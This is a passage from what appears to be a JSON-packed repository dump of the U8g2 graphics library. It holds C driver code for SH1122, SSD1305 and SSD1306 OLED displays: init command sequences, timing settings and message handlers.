*/\n};\n\n\nuint8_t u8x8_d_sh1122_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sh1122_256x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_sh1122_256x64_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    \n    default:\n      return u8x8_d_sh1122_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1305.c",
    "content": "/*\n\n  u8x8_d_ssd1305.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_ssd1305_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1305_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1305_128x32_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0d3, 32),\t\t\t/* display offset to 32 */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1305_128x32_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_CA(0x0d3, 0),\t\t\t/* display offset to  */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\nstatic uint8_t u8x8_d_ssd1305_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    \n      u8x8_cad_SendCmd(u8x8, 0x040 );\t/* set line offset to 0 */\n    \n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendArg(u8x8, 0x000 | ((x&15)));\n      u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)   );\n\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_powersave1_seq);\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1305 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1305_128x32_noname_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 2,\n  /* flipmode_x_offset = */ 2,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\n\nstatic const uint8_t u8x8_d_ssd1305_128x32_noname_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 32),\t\t\t/* display offset to 32 */\n  U8X8_C(0x040),\t\t        \t/* set display start line to 0 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x0cf), \t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x040), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1305_128x32_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x32_noname_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*================================================*/\n/* issue 2002: Waveshare */\n\n#ifdef SAME_AS_ADAFRUIT\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1305_128x32_waveshare_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\nuint8_t u8x8_d_ssd1305_128x32_waveshare(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x32_waveshare_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n#endif\n\n\n/*================================================*/\n/* adafruit 128x32 SSD1305 OLED, https://www.adafruit.com/product/2675 */\n/* issue 724 */\n\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1305_128x32_adafruit_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 32\n};\n\n\nuint8_t u8x8_d_ssd1305_128x32_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_noname_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x32_adafruit_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n\n/*================================================*/\n/* adafruit SSD1305 OLED */\n\n/* timing from SSD1306 */\nstatic const u8x8_display_info_t u8x8_ssd1305_128x64_adafruit_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 2,\n  /* flipmode_x_offset = */ 2,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n\nstatic const uint8_t u8x8_d_ssd1305_128x64_adafruit_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x0f0),\t\t/* clock divide ratio (0x00=1) and oscillator frequency */\n  U8X8_CA(0x0a8, 0x03f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x040),\t\t/* display offset to 32 */\n  U8X8_C(0x040),\t\t        \t/* set display start line to 0 */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x032), \t\t/* [2] set contrast control */\n  U8X8_CA(0x082, 0x080), \t\t/* set area brightness (reset=0x080) */\n  U8X8_CA(0x0d9, 0x0f1), \t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x040), \t\t/* vcomh deselect level */  \n  // if vcomh is 0, then this will give the biggest range for contrast control issue #98\n  // restored the old values for the noname constructor, because vcomh=0 will not work for all OLEDs, #116\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_ssd1305_128x64_adafruit(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x64_adafruit_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x64_adafruit_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* Raystar RET012864 OLED, issue https://github.com/olikraus/u8g2/issues/1111 */\n\nstatic const u8x8_display_info_t u8x8_ssd1305_128x64_raystar_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 4,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_ssd1305_128x64_raystar(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1305_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x32_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1305_128x64_adafruit_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1305_128x64_raystar_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1306_128x32.c",
    "content": "/*\n\n  u8x8_d_ssd1306_128x32.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* UG-2832HSWEG02 Datasheet, Section 4.4 */\nstatic const uint8_t u8x8_d_ssd1306_128x32_univision_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0d5, 0x080),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8) */\n  U8X8_CA(0x0a8, 0x01f),\t\t/* multiplex ratio */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  U8X8_CA(0x08d, 0x014),\t\t/* [2] charge pump setting (p62): 0x014 enable, 0x010 disable */\n  U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  \n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x002),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n  U8X8_CA(0x081, 0x08f),\t\t/* [2] set contrast control */\n  U8X8_CA(0x0d9, 0x0f1),\t\t/* [2] pre-charge period 0x022/f1*/\n  U8X8_CA(0x0db, 0x040),\t\t/* vcomh deselect level */\n  \n  U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x32_univision_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x32_univision_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x32_univision_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1306_128x32_univision_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1306_128x32_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1306_128x32_univision_display_info);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1306_128x32_univision_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      